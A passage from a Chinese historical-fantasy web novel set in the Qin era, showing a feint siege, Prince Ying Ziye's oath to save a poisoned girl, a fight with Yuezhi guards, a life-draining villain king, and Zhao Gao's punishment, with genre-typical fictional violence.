“末将定把动静闹得震天响,让那些蛮子以为咱们要拼命了,绝不敢分兵他去!”
“很好!”
蒙犽独臂一挥,声音带着铁血统帅的最终决断,“都去准备!立刻行动!”
“能否安然迎回殿下,能否在这西域站稳脚跟,在此一举!”
“诺!!”
众将轰然应诺,杀气腾腾地领命而去。
帅府内瞬间空荡,只剩下蒙犽一人。
他独臂撑在沙盘边缘,身体微微前倾,如同即将扑食的苍狼,死死盯着那条蜿蜒曲折,通往黑风林的细小路径。
目光之中,是毫不掩饰的担忧。
殿下,末将已布下疑阵,派出了最锋利的箭!
您一定要……平安归来!!
……
翌日,天色刚蒙蒙亮。
沉寂了数日的边境线骤然被战鼓与喊杀声撕裂。
狼突城头。
负责驻守的匈奴万夫长兀朮赤皱着眉头,看着城外如同蝗虫般散开,却又保持着诡异距离的秦军阵列。
这些秦兵并不像往常那样结成严谨的方阵缓缓推进。
也没有架起沉重的云梯准备蚁附攻城。
他们只是远远地列队,然后……
开始了漫无目的的抛射?!
密集的箭矢如同飞蝗般掠空而来!
大部分无力地钉在城墙垛口或者射入城内空旷处。
只有零星几支带着呼啸声,威胁着暴露在外的守军。
“这些秦狗在搞什么鬼?”
兀朮赤身边的一名百夫长忍不住啐了一口。
挥刀格开一支流矢,脸上满是疑惑和烦躁!
“就这么射?连个冲锋的架势都没有?”
“他们当是在草原上射兔子吗?”
兀朮赤脸色阴沉,粗壮的手指紧紧攥着冰冷的墙砖,目光死死盯着城外那些不断移动,却始终不进入强**有效射程的秦军小队。
这种打法,完全不符合秦军一贯的作风!
秦军作战,向来如铁锤砸击,讲究雷霆万钧,一击破城。
或者如毒蛇潜伏,寻找弱点致命一击。
可眼前这算什么?
漫无目的的骚扰?
浪费箭矢?
“不对劲……很不对劲!”
兀朮赤声音沙哑,带着草原狼王般的警惕,“秦军狡诈,蒙犽更不是蠢货!”
“他们绝不会平白无故跑来浪费力气!”
几乎在同一时间。
距离不远的赤石岗,也上演着类似的一幕。
守城的匈
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奴将领看着城外那些擂鼓呐喊,旗帜挥舞得煞有介事,却雷声大雨点小的秦军,同样是一头雾水,憋屈不已。
“千夫长!让儿郎们出去冲杀一阵吧!”
“这些秦狗太嚣张了!”
有暴躁的部落头人按捺不住,挥舞着弯刀请战。
“闭嘴!”
赤石岗的守将,千夫长脱里不花厉声喝止。
他眼神阴鸷地扫过城外,“你看不清吗?”
“他们阵型松散,却彼此呼应,分明是诱敌之计!”
“就等着我们开门出去,然后用**消耗我们!”
“蒙犽这老狐狸,肯定藏着后手!”
他猛地一拍城墙,恨恨道:“传令下去!没有我的命令,任何人不得出城!”
“都给老子守在城墙上!盾牌举好!他们射任他们射!”
“倒要看看他们有多少箭可以浪费!”
“秦狗突然发疯,我们以不变应万变!”
“守住城池就是大功!”
类似的对话和命令,在几座同时遭到攻击的城池内回荡。
匈奴守将们凭借着草原生存的直觉,感受到了这反常攻势下的诡异气息。
他们不相信秦军会做无用功。
这看似混乱无章的背后,必然隐藏着他们尚未看透的阴谋。
“难道……是想调动我们?”
兀朮赤盯着沙盘,看着几座同时遇袭的城池位置,试图找出秦军真正的意图。
“可这方向……不像啊……”
“或许是疑兵之计,想让我们误判他们主攻方向?”
脱里不花也在苦苦思索。
无奈,信息的不对称让他们如同雾里看花。
他们能做的,就是凭借坚固的城墙和守城优势,谨慎地应对。
一时间。
边境线上出现了奇特的景象!
秦军在外围热情高涨地射箭、擂鼓、呐喊!
而城内的匈奴守军则憋着一肚子火,紧守不出。
用盾牌和女墙默默承受着这波雷声大,雨点小的攻势。
空气中弥漫着箭矢破空的尖啸,战鼓的轰鸣,以及一种诡异僵持的压抑感。
匈奴将领们心中充满了疑虑、憋闷,还有一种隐隐的不安——
秦狗,到底在搞什么名堂?
第415章 本公子以性命起誓!
黑风林的边缘。
光线被茂密的树冠切割得支离破碎。
空气中弥漫着腐烂枝叶和湿土的沉闷气息,间或夹杂着远处隐约的兽吼。
赢子夜一行人正沿着一条几乎被藤蔓掩盖的古老小径快速穿行。
队伍中央,被废去武功,挑断手脚筋脉的赵高,如同一个破败的玩偶,被两名暗河精锐粗暴地架着前行。
剧烈的颠簸和伤口摩擦的痛楚让他脸色惨白,冷汗直流。
但那双眼底深处,却始终燃烧着不甘与怨毒的火焰!!
他的目光,时不时地如同毒蛇般窥伺着队伍中那个紫衣绝美的身影——
东君焱妃。
几日下来。
他看得出。
这位母亲虽然沉默,但那份对女儿的担忧,是她此刻最大的弱点。
机会出现在一次短暂的歇息。
众人靠在虬结的树根上喘息,林间只有风声和粗重的呼吸声。
赵高突然发出一阵嘶哑、断续的冷笑。
声音不大,却足以让不远处的焱妃听得清清楚楚。
“呵…呵呵…东君阁下……”
他抬起头,汗水浸湿的头发黏在额头上。
模样狼狈,眼神却带着一种垂死挣扎的阴险。
“这几日……可想清楚了?”
“令嫒千泷…那如花似玉的年纪,若是香消玉殒……”
“啧啧,真是可惜啊……”
焱妃娇躯微微一颤!
手,不自觉地收紧。
她没有回头,但紧绷的侧脸线条显露出她内心的波澜。
赵高见她没有立刻斥责。
仿佛看到了希望,声音更加恳切,却带着致命的诱惑与威胁:
“咱家知道……”
“东君阁下恨我入骨……”
“但千泷小姐是无辜的呀!”
“你拿到的那个瓶子里,根本就不是解药,而蚀骨断魂散的解法,唯有咱家一人知晓。”
“只要你……只要你此刻放了咱家,咱家以性命担保,立刻告知解法,绝无虚言!”
“否则…就算你们杀了咱家,到了黄泉路上,也有你女儿作伴!”
“哈哈哈哈!”
他发出癫狂而扭曲的低笑,试图用这最后的筹码撬动焱妃的心理防线。
“你!”
焱妃猛地转头,美眸之中瞬间爆发出冰冷刺骨的杀意!
周身紫气隐现,周围的空气都仿佛凝固了几分。
女儿是她唯一的逆鳞!!
赵高此言,无疑是在她心头剜肉!
她恨不得立刻将眼前这阉狗**万段!
然而,赵高的话,却像毒刺,深深扎入她心中。
她赌不起!
那瓶子里的若不是解药……
她不敢拿女儿的性命去赌那万分之一的可能!
愤怒与对女儿安危的极致担忧在她心中激烈交战,让她那绝美的容颜上浮现出挣扎与痛苦之色!
抬起的手,蕴含磅礴阴阳二气,却迟迟无法落下!
赵高看着她的犹豫,眼中闪过一丝计谋得逞的得意,更加卖力地蛊惑!
“想想千泷吧!她还那么小!你忍心让她……”
他的话戛然而止。
因为赢子夜不知何时已走到近前。
他并未看赵高,只是平静地注视着内心天人交战的焱妃。
他的目光沉稳而有力,仿佛能穿透那层冰冷的愤怒与深沉的忧虑。
“东君阁下。”
赢子夜开口,声音不高,却奇异地抚平了空气中躁动的杀意。
焱妃看向他,眼中带着未散的愤怒和一丝不易察觉的求助。
赢子夜的目光扫过一脸怨毒却又隐含期待的赵高,嘴角勾起一抹冰冷的弧度,充满了不屑。
随即,他重新看向焱妃,眼神变得无比郑重。
一字一句,清晰无比!
如同誓言般砸在寂静的林间!
“对此等阉狗之言,何必挂怀?”
“他如今不过是砧板之鱼,徒作困兽之斗,妄图以虚言乱你心神罢了。”
他微微上前一步,语气斩钉截铁,带着一种令人信服的强大自信!
“不管那瓶子里的解药是真是假。”
“姬如千泷,既已为本公子所救,她的安危,便是本公子之责。”
“若东君阁下仍然不放心,那本公子在此,以
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赢氏血脉,以大秦公子之名起誓——”
他顿了顿,声音陡然拔高,带着不容置疑的分量,回荡在每一个人耳边:
“必保你女儿姬如千泷性命无碍,安然渡过此劫!”
“若她因这蚀骨断魂散有丝毫差池,若她最终不幸身死……”
赢子夜的目光如炬,直视焱妃双眼,说出了石破天惊的一句!
“——本公子赢子夜,自愿给你女儿陪葬!!!”
此话一出,宛如平地惊雷!
不仅赵高瞬间僵住。
连周围所有的暗河精锐眼中都闪过一丝极致的震动!
以大秦公子之尊,以自身性命为质。
为一个阴阳家的女子,一个敌国之女起誓担保?
这是何等的魄力与担当?!
此言,重逾泰山!!!
焱妃更是浑身剧震,猛地抬头,难以置信地看着赢子夜!
她那双曾因绝望和愤怒而冰冷的眸子,此刻剧烈地颤抖着,充满了极致的震惊、动容,以及一种难以言喻的复杂情绪。
而赢子夜的眼神始终清澈而坚定,没有丝毫作伪。
那以性命立下的誓言,如同一道炽热的光,瞬间驱散了她心中所有的犹豫与阴霾。
他连自己的性命都押上了,她还有什么理由不相信?
还有什么理由再受那阉狗的蛊惑?
心中所有的迟疑,所有的挣扎,在这一刻,烟消云散!
焱妃深深地看着赢子夜,仿佛要将他此刻的模样刻入灵魂深处。
良久,她缓缓地,极其郑重地对着赢子夜,躬身行了一礼。
声音带着一丝不易察觉的哽咽,却无比清晰坚定:
“殿下金口玉言,焱妃……铭记五内!”
“此后,救女之恩,担保之誓,焱妃……万死难报!”
她直起身,再看向赵高时,眼中已只剩下冰冷的如同看待死物般的杀意。
之前所有的动摇荡然无存。
赢子夜微微颔首,不再多言,转身沉声道:“继续赶路!尽快脱离此地!”
队伍再次行动起来,气氛却已然不同。
而赵高,面如死灰。
第416章 血池!
稀疏的林木间甚至能透见外面荒原上略显刺目的天光。
连续数日在阴暗潮湿,危机四伏的林间穿行,所有人都绷紧着神经。
眼看生路在前,一股微弱的松懈感刚要升起。
赢子夜却猛地抬手,示意队伍骤然停止!
他眼神锐利如鹰,透过最后一道灌木缝隙,死死盯向外围。
只见不远处的空地上。
赫然游弋着一队约五十人的大月氏士兵。
他们甲胄鲜明,神情警惕,绝非寻常巡逻队。
更令人心悸的是,队伍前方,三名气息浑厚的将领巍然屹立——
两人太阳穴高高鼓起,目光开阖间精光闪烁,赫然是指玄境的高手!
而居中一人,气息沉凝如山。
周身隐隐有天地元气流转的迹象,竟是一名天象境强者!
“怎么回事?”
赵弋苍瞬间按上剑柄,脸色凝重,压低声音急促道:“主上,属下前次探查此路,绝无这批人马!”
“他们是最近才调防至此!”
赢子夜眉头紧锁,心中警铃大作!
这绝非巧合!
黑风林这条隐秘小路,人迹罕至。
大月氏为何会突然在此布置重兵,甚至动用了一名天象境?
这不合常理!
他们行踪暴露了?
还是另有缘由?
他大脑飞速运转,目光扫过对方布防的区域和身后唯一的退路,茂密难行且可能潜藏更多未知危险的黑风林深处。
绕行?
时间不允许,风险更大。
悄无声息穿过?
三名强者坐镇,几乎不可能。
电光火石间,赢子夜眼中寒光一闪,已然有了决断。
他猛地抽出腰间的定秦剑,紫雷瞬间缠绕剑身,发出低沉的噼啪声,一股决绝的杀意冲天而起!
“来不及多想!”
“他们挡了路,那就——杀出去!”
赢子夜的声音冰冷如铁,带着命令:“赵弋苍,率暗河清理杂兵!”
“那两名指玄,交给本公子!”
“东君阁下,劳烦你,缠住那名天象!”
“诺!”
赵弋苍没有任何迟疑,独臂一挥,身后数十名暗河精锐如同鬼魅般散开,**箭上弦,短刀出鞘,杀气瞬间锁定那些普通士兵。
“好!”
焱妃早已因女儿之事对乌孙陀罗及其势力恨之入骨。
此刻更无保留。
紫袍无风自动,磅礴的阴阳二气如同实质般在她周身盘旋!
她玉足轻点,身形已如一道紫色惊鸿,直扑那名天象境强者!
人未至。
一道凝练的阴阳合气手印已带着碾碎虚空的气势轰然拍出!!!
“大胆!何方宵小,敢闯禁地!”
那名天象境强者乃是一个面容阴鸷的老者。
见袭击来得如此迅猛,又惊又怒!
爆喝一声,双掌齐出,浑厚的土黄色罡气凝聚成一面巨盾,悍然迎上!
“轰——!”
两股恐怖的能量狠狠撞在一起,爆发出震耳欲聋的巨响,气浪翻滚,将地面的尘土碎石尽数掀起!
焱妃身形微晃。
那老者却闷哼一声,连退三步。
脸上首次露出骇然之色!
显然没料到这突然出现的紫衣女子实力如此强横!
与此同时。
赢子夜身化雷光,已然杀入那两名指玄境将领之中。
定秦剑化作一道紫色电龙,剑招大开大合,霸道凌厉,每一剑都带着撕裂一切的煌煌雷威!
“拦住他!”
其中一名指玄将领怒吼,挥动**刺来,枪尖寒芒点点,如同毒蛇出洞!
另一人则手持双刀,身形诡谲,从侧翼袭扰。
“螳臂当车!”
赢子夜冷哂,不闪不避,定秦剑带着万钧雷霆,直接劈在枪尖之上!
“铛!”
刺耳的金铁交鸣声中,那指玄将领只觉一股无法抗拒的巨力顺着枪身传来,虎口崩裂,**竟被硬生生荡开!
他还未及变招,赢子夜剑势一转,雷光迸射,已如鬼魅般贴近另一名使双
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刀的将领!
“死!”
剑光闪过,快得超越视觉!
那使双刀的将领只觉喉间一凉,护体罡气如同纸糊般被撕裂,意识瞬间陷入黑暗!
“二弟!”
使枪将领目眦欲裂,疯狂挺枪再刺。
赢子夜回身一剑,紫雷爆裂,直接将那**震得脱手飞出!
剑锋余势不减,在其胸前划开一道深可见骨的焦黑伤口!
另一边,暗河精锐如同虎入羊群,配合默契,手段狠辣!
**箭精准点射,毒雾悄无声息地弥漫,短刀从不可思议的角度割开喉咙。
那些大月氏士兵虽然也算精锐。
但在这些擅长隐匿与刺杀的暗河面前,几乎毫无还手之力。
惨叫声此起彼伏,迅速被清理。
战局几乎是一面倒。
不过片刻功夫,两名指玄境将领一死一重伤,五十名士兵尽数伏诛!
只剩下那名天象境老者.
在焱妃如同**般的阴阳术攻击下,已是左支右绌,险象环生
身上多了数道焦黑的痕迹,气息萎靡。
眼看焱妃凝聚起一道更加恐怖,足以致命的阴阳湮灭印,赢子夜突然开口:
“东君阁下,且慢!留他一命!”
焱妃闻言,玉手微顿,那毁灭性的能量悬停在老者头顶寸许之地!
恐怖的威压让那老者浑身僵硬。
冷汗涔涔而下,再不敢有丝毫异动。
赢子夜缓步上前,定秦剑剑尖垂地,雷光隐去,但那股无形的压迫感却让重伤的老者喘不过气。
他目光冰冷地俯视着对方,沉声问道:“说!你们为何会在此地布防?”
“可是知晓了本公子的行踪?”
那天象境老者面色惨白,感受着头顶悬而未落的死亡威胁,以及赢子夜那不容置疑的目光。
心理防线彻底崩溃,颤声道:“不……不是!”
“我等并非为追捕什么人而来!”
“是……是奉了王上紧急诏令,在此秘密修建‘血池’!”
第417章 本王要做唯一的神!
“血池?”
赢子夜眼神一凝,“修建血池做什么?说!”
“我……我等也不知具体用途啊!”
老者带着哭腔,“王命只让我们在此地选址,挖掘池基,刻画符文,并要求必须隐秘,且需强者坐镇看守,防止野兽或闲杂人等靠近……”
“其余的,真的不知道了!”
“血池……汲取生灵血气……”
一旁的焱妃闻言,美眸中闪过一丝明悟与厌恶。
她看向赢子夜,清冷的声音带着笃定:“殿下,此等手段阴邪无比,恐怕与乌孙陀罗从圣地获得的那吞噬生命力的邪术,脱不了干系!”
赢子夜颔首。
眼神变得无比深邃寒冷。
他原本就对那所谓的遗迹力量心存疑虑。
如今这“血池”的出现,更是印证了他的猜测——
乌孙陀罗获得的力量,绝非正途!
而且他正在积极准备,试图以更残酷高效的方式获取“养料”!
“果然如此……”
赢子夜低声自语,随即眼中杀机再现。
此人已无价值。
且知晓了他们行踪,绝不能留!
他没有任何犹豫,定秦剑骤然刺出,快如闪电,直接洞穿了那名天象境老者的心脉!
老者瞪大了眼睛,难以置信地看着赢子夜,似乎没想到对方问完话就立刻下**!
身体抽搐了两下,便彻底没了声息。
赢子夜收剑回鞘,动作干净利落。
他立刻取出一枚通讯符箓。
神识沉入,将关于“血池”的情报以及自己的猜测,迅速传递给了远在大月氏王都方向潜伏的卫庄。
“让墨麒麟重点查探此事!”
“务必弄清这血池的分布、规模,以及乌孙陀罗修建它的真正目的!”
做完这一切,赢子夜目光扫过满地的尸体,最后望向黑风林之外那片看似平静的荒原,眼神凝重。
就在此时,一名暗河精锐迅速前来奏禀:“殿下,蒙犽将军派来了接应部队,已在三里外布置完毕,准备随时护送殿下返回城池。”
赢子夜微微点头,沉声道:“传令队伍,做好准备,随时出发。”
……
大月氏王宫。
昔日金碧辉煌的殿堂如今笼罩在一片阴森死寂之中。
空气中弥漫着淡淡的血腥味和一种难以言喻,属于腐朽的甜腻气息。
高高的王座之上,乌孙陀罗正端坐着。
他深陷的眼窝中,两簇鬼火幽幽燃烧,目光落在王座下方瑟瑟发抖的几名侍女和守卫身上。
那目光,并非君主的威严,而是猎食者看待羔羊的贪婪与饥渴!
“呃……”
乌孙陀罗喉咙里发出一声满足又痛苦的叹息,缓缓抬起了枯爪般的手。
一股无形的冰冷吸力骤然产生!
“王上!饶命啊!”
“不——!”
凄厉的惨叫瞬间打破了殿堂的死寂!
那几名侍女和守卫如同被无形的丝线拉扯。
身体剧烈颤抖着。
肉眼可见的生机化作丝丝缕缕的血色雾气。
从他们的七窍、毛孔中被强行抽出,如同百川归海般,涌向乌孙陀罗的掌心,没入他那干瘪的躯体。
他们的皮肤迅速失去光泽,变得灰败。
血肉仿佛被抽干,眼眶深陷,最终如同被风干的树皮般瘫软在地,再无一丝声息。
而乌孙陀罗那骷髅般的脸上,似乎泛起了一丝极其微弱,不健康的红晕。
深陷的眼窝中的鬼火也似乎明亮了刹那!
但这过程显然伴随着巨大的痛苦。
他枯瘦的身体微微痉挛着,喉咙里发出压抑的如同破风箱般的嗬嗬声。
下方。
一名奉命前来禀报军情的将领,早已吓得面无人色,浑身抖如筛糠。
额头死死抵在冰冷的地面上,连大气都不敢喘!
直到那令人毛骨悚然的吞噬过程结束,殿堂内只剩下乌孙陀罗粗重而诡异的喘息,他才敢用颤抖的声音,带着哭腔奏禀:
“启…启禀伟大的王…王上……”
乌孙陀罗缓缓转过头。
鬼火般的眸子落在将领身上,那冰冷的视线仿佛能冻结灵魂。
“说。”
他的声音沙哑刺耳,如同砂石摩擦。
将领不敢抬头,语速极快,声音发颤地汇报!
“据……据前线探报,匈奴主力占据了我西部落日关、风吼堡等要隘,其游骑已控制通往草原的主要通道,兵锋直指王都!”
“秦军蒙犽所部,则固守于我东部原边境防线,占据了石堡城、赤岩关等数座坚城,封锁了通往秦地的路线……”
他顿了顿,声音稍微提高了一丝,带着一丝希冀。
“还……还有好消息!”
“西域诸国,如楼兰、龟兹、精绝等,已回书应允,愿联合出兵,驰援我大月氏!”
“初步预计,可集结联军……”
“十五万之众!”
听到“十五万联军”,乌孙陀罗眼中鬼火猛地跳跃了一下!
那骷髅般的嘴角似乎想扯出一个笑容,却显得更加狰狞可怖。
“好!很好!”
他沙哑地笑了起来,声音如同夜枭啼哭。
“看来,这些墙头草,也怕匈奴那条恶狼吞掉他们之后,下一个就轮到他们自己了!”
他笑声戛然而止。
目光转向一直如同影子般侍立在王座旁,气息更加晦暗深沉的大萨满,语气带着一种不容置疑的命令。
“大萨满。”
“老臣在。”
大萨满躬身,骷髅法杖上的骨铃发出细微的轻响。
“你,立刻动用所有隐秘渠道,给本王暗中查探!”
乌孙陀罗眼中闪烁着疯狂的野心,“西域诸国,楼兰、龟兹、精绝……”
“他们国内,是否也存在类似我大月氏葬月谷的古老
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遗迹!”
“给本王找出它们的位置!”
他猛地握紧枯爪,骨节发出令人牙酸的咯吱声,声音充满了贪婪与绝对的自信!
“本王既已获得这无上神力,待平定匈奴、秦狗这些外患,整合西域,吞并诸国,易如反掌!”
“届时,若能将各国遗迹中的传承之力尽数融于己身……”
“呵呵呵呵!”
“这天下,还有谁能挡本王?”
“本王将……当世无敌!”
这疯狂的野心让下方的将领和大萨满都感到一阵寒意。
乌孙陀罗似乎已经完全沉浸在自己编织的强大幻梦之中。
“你,”乌孙陀罗重新看向那名将领,语气森然。
“待西域联军抵达,传本王令,集结所有力量,率先对匈奴发动进攻!”
“记住,以擒获俘虏为主!”
“尽量抓活的!本王……需要他们的‘奉献’!”
他舔了舔干裂的嘴唇,眼中是毫不掩饰的对生命的贪婪。
“另外,”
他顿了顿,目光扫向殿堂角落阴影中,那十二个如同石雕般站立,周身死气缭绕,眼神空洞的身影——
“十二圣士听令!”
十二道身影同时踏前一步,动作整齐划一,如同提线木偶,散发出令人心悸的冰冷气息。
他们不仅完全被乌孙陀罗掌控,更是通过那诡异的联系,获得了部分操控死气与驱使猛兽的能力。
“命尔等,即刻率领王庭禁卫第三军团,前往攻打被匈奴占据的狼牙城!”
乌孙陀罗下令,声音冷酷,“城破之后,所有抵抗者,格杀勿论!”
“投降者,尽数押回王都!”
“城中所有生灵,无论人畜,皆不可肆意屠戮,本王另有大用!”
“谨遵王命!”
十二圣士同时躬身,声音毫无波澜,如同金属摩擦。
将领和十二圣士领命,如蒙大赦般迅速退出了这令人窒息的大殿。
空荡阴森的王座厅内,只剩下乌孙陀罗和大萨满。
乌孙陀罗靠在冰冷的王座上,枯爪轻轻敲击着扶手,眼中鬼火跳跃,陷入了更深的意淫。
“血池……更多的血池……”
他喃喃自语,声音带着一种迷醉般的狂热!
“只要修建足够多的血池,让本王的将领,那些强大的武士浸泡……”
“再辅以本王的秘法精血,他们就能获得更强的力量!”
“而且……将会变成只忠于本王一人的最完美的傀儡战士!”
“没有恐惧,只有绝对的服从和无尽的杀戮欲望!”
“哈哈哈哈!”
他仿佛已经看到了那支由绝对忠诚,不惧生死的傀儡大军组成的洪流。
踏平匈奴,碾碎秦军,横扫西域诸国!
届时,他乌孙陀罗,将不再是这苟延残喘的鬼王。
而是真正执掌生死,奴役众生的……
神!
第418章 本公子有的是手段!
数日后。
在蒙犽派出兵士的护送下,赢子夜一行人终于顺利返回石堡城。
秦军帅府深处,一间守卫森严的静室内。
气氛凝重得几乎能滴出水来。
姬如千泷安静地躺在床榻上,小脸苍白,呼吸微弱。
东君焱妃坐在床边,紧握着女儿冰凉的小手,绝美的容颜上覆盖着一层寒霜。
那双向来清冷的眼眸,此刻翻涌着压抑到极致的怒火与焦灼。
赢子夜站在一旁,面色沉静,但眼神深处却是一片冰寒。
蒙犽安排的军医和几位擅长解毒的幕僚刚刚退下,皆是摇头。
表示此毒极其诡异隐秘,毒性深藏。
若非提前知晓,根本无从察觉,更遑论解毒。
而被废去武功,如同烂泥般被丢在角落的赵高,此刻却低低地笑了起来。
那笑声嘶哑、断续,充满了怨毒和一种近乎癫狂的得意!
“嘿嘿……呵呵呵……”
他抬起头,散乱的头发下,那双细长的眼睛闪烁着阴险的光芒,逐一扫过赢子夜和焱妃。
“如何?咱家早就说过…蚀骨断魂散,岂是那么容易解的?”
“你们从咱家身上搜去的那瓶子……”
“一半是解药,还混了一半‘腐心蚀骨粉’…若是服下,嘿嘿,死得更快,更痛苦!”
“…不过是咱家闲暇时配着玩的玩意儿罢了。”
他故意顿了顿。
欣赏着焱妃骤然变得煞白的脸色,和眼中几乎要喷薄而出的杀意!
声音带着蛊惑与威胁。
“想要真正的解药?完整的解毒之法?”
“可以!”
“放了我!只要放咱家离开,咱家立刻双手奉上,并告知所有关窍!”
“否则……就算你们将咱家千刀万剐,也有这如花似玉的小丫头…在黄泉路上给咱家作伴!”
“哈哈哈!”
“赵高!你这恶贼!我杀了你!”
焱妃再也无法抑制,猛地站起!
周身紫气暴涨,磅礴的阴阳二气瞬间充斥整个房间!
玉手抬起,毁灭性的能量在她掌心凝聚,眼看就要将赵高轰成碎渣!
“东君阁下,且慢。”
赢子夜适时开口,声音平静,却带着一种奇异的安抚力量。
他伸手虚拦了一下焱妃。
焱妃动作一滞,胸口剧烈起伏,看向赢子夜,眼中带着未散的杀意和一丝被强行压下的无助。
赢子夜没有看赵高那令人作呕的得意嘴脸。
而是转向焱妃,目光沉稳,带着绝对的自信。
“本公子既然承诺保千泷无恙,便绝不会让她有事。”
“此等阉狗之言,不过是穷途末路之吠,何必动怒?”
他这番镇定自若的态度,让暴怒的焱妃稍稍冷静,也让角落里的赵高笑声一滞,脸上露出一丝惊疑。
赢子夜不再多言。
他缓缓抬起左手,只见他戴在食指上一枚看似朴素的玄色戒指微光一闪。
下一刻,一只通体晶莹剔透,散发着缕缕寒气的蚕状小虫出现在他掌心!
那小虫仅有指节长短,周身寒气缭绕。
仿佛由万年玄冰雕琢而成。
正是极其罕见的天地异种——
冰蚕!!
“此乃玄冰灵蚕,”
赢子夜托着那只仿佛在沉睡的小虫,语气平淡地解释。
“其性至寒,可吸纳世间万毒,化为己用,自身则陷入沉眠消化。”
“毒性越烈,沉睡越久。”
他之前不愿轻易动用,确是因此物珍贵,用过一次后需等待其苏醒,期间若再遇奇毒便束手无策。
但此刻,赵高的威胁和焱妃濒临崩溃的眼神,让他彻底失去了耐心。
他最厌恶的,就是被人威胁!
看到这只冰蚕,赵高脸上的得意瞬间僵住,化为难以置信的惊骇,失声叫道:
“不……不可能!你怎么会有这种东西?!”
“本公子早就说过了…你的手段,一文不值!”
赢子夜说完,不再理会他,对焱妃微微颔首。
焱妃立刻会意,小心地扶起昏迷的女儿。
赢子夜将掌心托着的冰蚕轻轻置于姬如千泷的眉心。
那冰蚕接触到皮肤的刹那,仿佛被激活了一般,周身寒气
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大盛,一股吸力自其口器传出!
只见一丝丝极其细微,几乎不可见的灰黑色气线。
如同受到牵引般,缓缓从姬如千泷的眉心,乃至周身毛孔中被抽取出来,汇入冰蚕体内。
冰蚕那晶莹的身体,以肉眼可见的速度,渐渐染上了一层淡淡的灰黑之色。
而其本身的气息也迅速变得微弱,最终蜷缩起来,不再动弹。
仿佛陷入了深度的沉睡。
而床榻上的姬如千泷,苍白的小脸却渐渐恢复了一丝血色,微弱的呼吸也变得平稳悠长了许多。
“毒……解了?”
焱妃颤抖着伸出手,感知着女儿体内那令人心悸的毒性正在迅速消退。
取而代之的是勃勃生机!
她猛地抬头看向赢子夜,眼中充满了劫后余生的激动与无尽的感激,声音哽咽。
“殿下!大恩……”
赢子夜摆手制止了她,小心地将陷入沉睡的冰蚕收回戒指。
他这才缓缓转身,目光如同两柄冰冷的利剑,终于落在了面如死灰,浑身颤抖的赵高身上。
“现在,”赢子夜的声音不高,却带着刺骨的寒意,“该算算我们的账了。”
赵高嘴唇哆嗦着,还想说什么。
赢子夜却不再给他机会。
他看向身旁杀意再次升腾的焱妃,语气平淡地问道:“东君阁下,阴阳家传承悠久,想必…也有令人求生不得,求死不能的术法吧?”
焱妃瞬间明白了赢子夜的意思。
她看向赵高,美眸中再无半分温度。
只有冰冷的如同看待试验品般的残酷。
清冷的声音斩钉截铁!
“有!有一种‘百针刺魂术’,可令受术者每日午时三刻,头颅如同被万根钢针反复穿刺,痛不欲生,却又不会立刻毙命,可持续…数月之久!”
赢子夜颔首,语气轻描淡写,却带着令人毛骨悚然的决断。
“那便,给他用上。”
“不!你们不能!”
“杀了我!有本事就杀了我!”
赵高彻底崩溃了!
发出凄厉的嚎叫,挣扎着想要撞墙自尽!
第419章 想死?你没机会的!
“想死?”
赢子夜冷笑一声,对侍立一旁的赵弋苍下令!
“赵弋苍,废了他所有可能自残的能力,拔光牙齿,卸掉下巴关节!”
“然后,由你亲自挑选精锐,将他押送回咸阳,交由廷尉府,重兵看管!”
“记住,不准他死!”
“若是看管不力,让他寻了短见……”
赢子夜顿了顿,目光如同寒冰扫过赵高扭曲的脸,说出了一句让赵高如坠冰窟,羞愤欲绝的话!
“——就将他的尸身扒光,悬挂于咸阳闹市,游街示众!”
“让天下人都好好看一看,这个祸、国殃民,心肠歹毒的阉宦,究竟是个什么模样!”
“不!!!赢子夜!你不得好死!!”
赵高发出绝望到极致的嘶吼!
身体剧烈地颤抖,眼泪鼻涕混杂着流下!
对于他这等极度看重颜面,甚至心理扭曲在意自身残缺的人来说。
死后被扒光游街,简直是比凌迟处死更加恶毒,更加无法忍受的奇耻大辱!
赵弋苍面无表情,上前一步,运指如风,精准地卸掉了赵高的下巴,让他连咬舌自尽都做不到!
随即,示意两名暗河精锐上前,如同拖死狗一般,将彻底崩溃,只能发出“嗬嗬”呜咽的赵高拖出了静室。
静室内重新恢复了安静。
只剩下姬如千泷平稳的呼吸声。
焱妃看着女儿安详的睡颜,又看向赢子夜,深深一拜。
这一次,赢子夜没有阻拦。
“殿下恩同再造,焱妃……万死难报其一。”
赢子夜微微颔首。
目光,缓缓转向蒙犽:“现在战场上情况如何?”
“殿下,”
蒙犽声音铿锵,带着军人特有的简练。
“为策应殿下撤离,末将已命王屹所部,连日佯攻狼突、赤石岗等数座大月氏与匈奴占据的城池,虚张声势,吸引敌军注意。”
“据报,敌军已被成功牵制,未敢轻易分兵。”
赢子夜微微颔首,对此安排表示认可。
蒙犽用兵,素来老辣,此举确实为他撤离创造了有利条件。
然而,蒙犽接下来的话,却让帅府内的气氛陡然一凝!
“此外,前线探马刚刚传回急报。”
“西域诸国,如楼兰、龟兹、精绝等,已响应乌孙陀罗求援,正集结联军,号称十五万,不日即将开赴大月氏!”
“十五万联军?”
赢子夜眼中寒光一闪,嘴角却勾起一抹充满讥诮的弧度。
他轻轻重复了一遍这个数字,仿佛听到了世间最可笑的笑话。
“好一个唇亡齿寒!”
赢子夜的声音不高,却带着一种洞悉世情的嘲弄与凛冽的杀机!
“这些西域墙头草,平日里在我大秦与匈奴之间摇摆不定,如今见乌孙陀罗得了那邪门力量,又怕匈奴吞掉大月氏后下一个轮到自己,倒是难得地又团结起来了?”
“想当渔翁?也得看看自己有没有那个本事!”
他猛地站起身,玄色衣袍无风自动。
一股无形的威势弥漫开来!
目光如电,扫过蒙犽和堂下诸将,声音斩钉截铁,带着不容置疑的决断:
“传本公子令!”
“在!”
蒙犽与诸将凛然应诺。
“命王屹所部,以及所有在外佯攻、袭扰的部队,即刻停止一切攻击行动!”
赢子夜语速极快,命令清晰无比。
“全军后撤,放弃所有前沿据点,以最快速度,回防至我大秦西北边疆原有防线!”
“依托坚城,深沟高垒,给本公子牢牢钉死在边境之上!”
他一步踏到巨大的西域沙盘前。
手指沿着那条代表着大秦西北边疆的防线重重划过。
最终,狠狠点在那片代表着匈奴主力后方的广袤草原区域!
“我们的目标,变了。”
“不再是与西域联军争一时之长短,也不再是和大月氏那怪物纠缠!”
“我们要做的,是堵死头曼和他那十几万大军的退路!”
他的声音如同金铁交鸣,带着一股森然的寒意!
“西域联军不是要去帮乌孙陀罗吗?”
“好啊!让他们去!”
“让他们和那个靠吸食人命维持的鬼王,还有野心勃勃的匈奴单于,在这西域之地,好好‘亲近亲近’!”
